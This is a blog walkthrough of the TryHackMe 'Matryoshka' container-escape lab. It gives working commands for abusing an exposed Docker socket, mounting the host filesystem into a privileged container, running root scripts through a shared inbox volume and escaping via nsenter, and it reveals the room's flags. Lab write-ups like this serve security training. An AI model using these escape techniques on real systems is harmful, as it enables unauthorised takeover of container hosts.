TryHackMe - Matryoshka CFT

-

 



Full Walkthrough — Matryoshka Containment Unit

Matryoshka Containment Unit is a Docker/container escape challenge that teaches:

  • Docker socket abuse
  • Privileged container escalation
  • Shared volume abuse
  • Remote code execution between containers
  • Namespace escape to the host system

Below is the complete attack chain from the first flag to the host flag.

1. Initial Enumeration

You started inside the level1 container and performed basic Linux/container enumeration.

Commands:

ls -la
cat /proc/1/cgroup
find / -perm -4000 2>/dev/null
find / -name docker.sock 2>/dev/null

What you discovered

.dockerenv

This indicated you were inside a Docker container.

/var/run/docker.sock

This was the key vulnerability.

Docker socket exposure means:

  • the container can communicate directly with the Docker daemon running on the host
  • anyone with access to the socket can effectively control Docker on the host machine

This is one of the most dangerous Docker misconfigurations.

2. Verifying Docker Access

You confirmed Docker access using:

which docker
docker ps
docker version

This proved:

  • the Docker client existed inside the container
  • the container could communicate with the host Docker daemon

3. First Container Escape Attempt

Initially you tried:

docker run -it --rm -v /:/host alpine chroot /host sh

But it failed because:

  • there was no internet access
  • Docker could not pull the Alpine image

4. Using an Existing Local Image

Instead, you used an already available local image:

docker run --rm -it \
-u 0 \
--privileged \
-v /:/mnt \
-v /var/run/docker.sock:/var/run/docker.sock \
matryoshka-level1:local sh

Explanation of the Parameters

-u 0

Runs the container as root.

Without this:

  • you remained the matryoshka user
  • chroot operations were blocked

--privileged

Gives the container almost all Linux capabilities, including:

  • CAP_SYS_ADMIN
  • mount operations
  • namespace manipulation

This essentially weakens container isolation.

-v /:/mnt

Mounts the host filesystem into the container.

Host root / becomes accessible inside the container at /mnt.

-v /var/run/docker.sock

Preserves Docker daemon access inside the newly created container.

5. Escaping into the Host Filesystem

You then executed:

chroot /mnt sh

What chroot Does

chroot changes the root directory for the current process.

Before:

  • you saw the container filesystem

After:

  • you saw the host filesystem mounted at /mnt

This was your first successful container escape.

6. Finding the Level 2 Flag

You enumerated the filesystem:

ls /root
cat /root/flag_level2.txt

Result:

THM{RUN@W@Y_S0CK3T}

7. Discovering the Level 3 Mechanism

The room hint stated:

“Look for an Inbox folder that allows script executions.”

You searched for inbox directories:

find / -type d -iname "*inbox*" 2>/dev/null

You discovered:

/mnt/level3share/inbox

Important Observation

The directory permissions were:

drwxrwxrwx

Meaning:

  • world writable
  • any process could place files there

This strongly suggested an automated script execution mechanism.

8. Discovering the Inbox/Outbox System

You later found:

/mnt/mnt/level3share/
 ├── inbox
 └── outbox

This revealed the architecture:

  • inbox = input queue for scripts
  • outbox = captured script output

9. Achieving Remote Code Execution in Level 3

You tested script execution with:

echo 'id' > /mnt/mnt/level3share/inbox/test.sh

Then checked the output:

cat /mnt/mnt/level3share/outbox/test.sh.out

Output:

uid=0(root)

What Happened Technically

A separate service/container:

  1. monitored the inbox
  2. executed uploaded scripts
  3. redirected STDOUT into outbox

This gave you remote code execution in another privileged container.

10. Finding the Level 3 Flag

You searched for flag files:

echo 'find / -iname "*flag*" 2>/dev/null' > /mnt/mnt/level3share/inbox/findflag.sh

The output revealed:

/root/flag_level3.txt

Reading the Flag

You executed:

echo 'cat /root/flag_level3.txt' > /mnt/mnt/level3share/inbox/readlvl3.sh

Then retrieved the result:

cat /mnt/mnt/level3share/outbox/readlvl3.sh.out

Result:

THM{RW_B1ND3D}

11. Escaping into the Host Using nsenter

Finally, you performed a namespace escape:

echo 'nsenter -t 1 -m -u -n -i sh -c "id; hostname; ls /root"' > /mnt/mnt/level3share/inbox/nsenter.sh

What nsenter Does

nsenter allows a process to enter another process’s Linux namespaces.

Parameter Breakdown

-t 1

Targets PID 1.

On Linux:

  • PID 1 is usually init or systemd
  • meaning the host system

-m

Enter the mount namespace.

-u

Enter the UTS namespace (hostname).

-n

Enter the network namespace.

-i

Enter the IPC namespace.

Result

The output showed:

matryoshka
flag_host.txt

This confirmed:

  • you successfully escaped into the host namespaces
  • you had access to the real host system

12. Reading the Final Host Flag

You executed:

echo 'nsenter -t 1 -m -u -n -i sh -c "cat /root/flag_host.txt"' > /mnt/mnt/level3share/inbox/readhost.sh

Then retrieved the output:

cat /mnt/mnt/level3share/outbox/readhost.sh.out

This revealed the final host flag.




Vulnerabilities Exploited

1. Docker Socket Exposure

/var/run/docker.sock

Allowed direct control of the host Docker daemon.

2. Privileged Container Abuse

--privileged

Granted near-host-level capabilities.

3. Host Filesystem Bind Mount

-v /:/mnt

Exposed the host filesystem inside the container.

4. Shared Volume Remote Code Execution

inbox/outbox

Allowed code execution in another container.

5. Namespace Escape

nsenter

Allowed entry into host namespaces.

Skills Learned

This room teaches practical concepts used in:

  • Docker security assessments
  • Kubernetes attacks
  • Cloud container exploitation
  • SOC investigations
  • Threat hunting
  • Container breakout analysis
  • Linux namespace abuse
  • CI/CD compromise scenarios

It is an excellent hands-on exercise for cloud security and container security fundamentals.

Comments

Post a Comment

Popular posts from this blog

TryHackMe - Typo Snare Threat Hunter Simulator (medium level)

-
Image
  Threat Hunt Walkthrough The "Typo Snare" scenario on TryHackMe is a fantastic real-world simulation of a sophisticated, multi-stage attack. It starts with a simple mistake and escalates to a full domain compromise, culminating in ransomware. This post will walk you through the entire attack chain, phase by phase, showing you how to find each piece of evidence using Elastic KQL queries. Phase 1: Initial Access & Execution What Happened: The attack began when the user perry.parsons on workstation WKSTN-03 needed a 7-Zip tool. He googled it, clicked a typosquatted link ( 7zipp.org ), and downloaded a trojanized installer. This installer executed a PowerShell script ( 7z.ps1 ) directly from the attacker's server to establish the initial foothold. How to Find It: You are looking for a PowerShell process that was likely spawned by a browser and contains a command to download and execute a script ( iwr for Invoke-WebRequest and iex for Invoke-Expression ). KQL Query...
Read more

TryHackMe - Threat Hunting Simulator - Health Hazard

-
Image
  Scenario overview After months of juggling content calendars and caffeine-fueled brainstorming, co-founder Tom Whiskers finally carved out time to build the company’s first website. It was supposed to be simple: follow a tutorial, install a few packages, and bring the brand to life with lightweight JavaScript magic.   But between sleepless nights and copy-pasted code, Tom started feeling off. Not sick exactly, just off. The terminal scrolled with reassuring green text, the site loaded fine, and everything looked normal.   Then, a strange file appeared on the system. No one could say where it came from. It wasn’t part of the tutorial, didn’t match any known dependencies, and didn’t even run.   It just waited.   Scenario objectives Determine how a threat actor first gained a foothold on the system. Identify suspicious activity that may point to the initial compromise method. Investigate signs of malicious execution following the initial access. Analyse the logs ...
Read more

TryHackmMe Side Quest AOC 2025 - Scheme Catcher (Insane Level)

-
Image
  Second Side Quest (Scheme Catcher) started with discovering the key in the Advent of Cyber Day 9 room and using it to remove the firewall on the target machine. Afterwards, fuzzing a web application on the target for directories we were able to discover a file with a binary inside and analyzing the binary we discovered another endpoint. Checking out this endpoint we discovered the application running on another port and reverse enginering it we discovered a Use-After-Free vulnerability and with a heap exploitation exploit we were able to get remote code execution and a shell inside a container. Inside the container we discovered a SSH key which we used to get a shell on the host and reverse engineering and exploiting a vulnerable kernel module we were able to escalate to root and complete the room. Python Script : #!/usr/bin/env python3 from pwn import * import io_file context . update ( arch = " amd64 " , os = " linux " , log_level = " error "...
Read more